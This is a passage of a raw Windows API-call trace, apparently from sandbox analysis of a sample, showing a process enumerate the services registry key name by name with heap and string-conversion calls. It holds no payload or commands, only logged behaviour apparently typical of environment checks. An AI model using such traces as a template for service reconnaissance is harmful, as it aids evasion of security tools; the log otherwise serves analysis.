lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0255.316] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.316] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0255.317] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0255.317] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.317] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0255.317] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.317] RegEnumKeyW (in: hKey=0x148, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0255.317] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.317] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0255.317] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0255.317] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0255.317] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.317] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0255.317] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.317] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.317] RegEnumKeyW (in: hKey=0x148, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0255.317] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.317] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0255.317] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.317] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0255.317] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0255.317] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.317] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0255.317] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.317] RegEnumKeyW (in: hKey=0x148, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0255.317] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.317] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0255.317] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0255.317] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0255.317] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.317] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0255.317] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.317] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.317] RegEnumKeyW (in: hKey=0x148, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0255.318] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.318] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0255.318] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.318] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0255.318] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0255.318] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.318] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0255.318] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.318] RegEnumKeyW (in: hKey=0x148, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0255.318] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.318] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0255.318] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0255.318] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0255.318] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.318] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0255.318] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.318] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.318] RegEnumKeyW (in: hKey=0x148, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0255.318] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.318] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0255.318] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.318] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0255.318] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0255.318] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.318] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0255.318] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.318] RegEnumKeyW (in: hKey=0x148, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0255.318] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.318] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0255.318] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0255.318] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0255.318] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.319] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0255.319] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.319] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.319] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0255.319] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.319] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0255.319] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.319] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0255.319] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0255.319] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.319] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0255.319] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.319] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0255.319] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.319] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0255.319] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0255.319] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0255.319] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.319] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0255.319] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.319] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.319] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0255.319] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.319] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0255.319] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.319] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0255.319] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0255.319] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.319] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0255.319] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.319] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0255.319] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.320] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0255.320] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0255.320] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1a00, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0255.320] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0255.320] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0255.320] RegEnumKeyW (in: hKey=0x148, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0255.320] RegEnumKeyW (in: hKey=0x148, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0255.320] RegEnumKeyW (in: hKey=0x148, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0255.320] RegEnumKeyW (in: hKey=0x148, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0255.320] RegEnumKeyW (in: hKey=0x148, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0255.320] RegEnumKeyW (in: hKey=0x148, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0255.320] RegEnumKeyW (in: hKey=0x148, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0255.320] RegEnumKeyW (in: hKey=0x148, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0255.320] RegEnumKeyW (in: hKey=0x148, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0255.321] RegEnumKeyW (in: hKey=0x148, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0255.321] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0255.321] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0255.321] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0255.321] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0255.321] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0255.321] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0255.321] RegEnumKeyW (in: hKey=0x148, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0255.321] RegEnumKeyW (in: hKey=0x148, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0255.321] RegEnumKeyW (in: hKey=0x148, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0255.322] RegEnumKeyW (in: hKey=0x148, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0255.322] RegEnumKeyW (in: hKey=0x148, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0255.322] RegEnumKeyW (in: hKey=0x148, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0255.322] RegEnumKeyW (in: hKey=0x148, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0255.322] RegEnumKeyW (in: hKey=0x148, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0255.322] RegEnumKeyW (in: hKey=0x148, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0255.322] RegEnumKeyW (in: hKey=0x148, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0255.322] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0255.322] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0255.322] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0255.322] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0255.322] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0255.322] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0255.323] RegEnumKeyW (in: hKey=0x148, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0255.323] RegEnumKeyW (in: hKey=0x148, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0255.323] RegEnumKeyW (in: hKey=0x148, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0255.323] RegEnumKeyW (in: hKey=0x148, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0255.323] RegEnumKeyW (in: hKey=0x148, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0255.323] RegEnumKeyW (in: hKey=0x148, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0255.323] RegEnumKeyW (in: hKey=0x148, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0255.323] RegEnumKeyW (in: hKey=0x148, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0255.323] RegEnumKeyW (in: hKey=0x148, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0255.323] RegEnumKeyW (in: hKey=0x148, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0255.323] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0255.323] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0255.324] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0255.324] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0255.324] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0255.324] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0255.324] RegEnumKeyW (in: hKey=0x148, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0255.324] RegEnumKeyW (in: hKey=0x148, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0255.324] RegEnumKeyW (in: hKey=0x148, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0255.324] RegEnumKeyW (in: hKey=0x148, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0255.324] RegEnumKeyW (in: hKey=0x148, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0255.324] RegEnumKeyW (in: hKey=0x148, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0255.324] RegEnumKeyW (in: hKey=0x148, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0255.324] RegEnumKeyW (in: hKey=0x148, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0255.324] RegEnumKeyW (in: hKey=0x148, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0255.325] RegEnumKeyW (in: hKey=0x148, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0255.325] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0255.325] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0255.325] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0255.325] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0255.325] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0255.325] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0255.325] RegEnumKeyW (in: hKey=0x148, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0255.325] RegEnumKeyW (in: hKey=0x148, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0255.325] RegEnumKeyW (in: hKey=0x148, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0255.325] RegEnumKeyW (in: hKey=0x148, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0255.325] RegEnumKeyW (in: hKey=0x148, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0255.325] RegEnumKeyW (in: hKey=0x148, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0255.326] RegEnumKeyW (in: hKey=0x148, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0255.326] RegEnumKeyW (in: hKey=0x148, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0255.326] RegEnumKeyW (in: hKey=0x148, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0255.326] RegEnumKeyW (in: hKey=0x148, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0255.326] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0255.326] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0255.326] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0255.326] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0255.326] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0255.326] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0255.326] RegEnumKeyW (in: hKey=0x148, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0255.326] RegEnumKeyW (in: hKey=0x148, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0255.326] RegEnumKeyW (in: hKey=0x148, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0255.327] RegEnumKeyW (in: hKey=0x148, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0255.327] RegEnumKeyW (in: hKey=0x148, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0255.327] RegEnumKeyW (in: hKey=0x148, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0255.327] RegEnumKeyW (in: hKey=0x148, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0255.327] RegEnumKeyW (in: hKey=0x148, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | 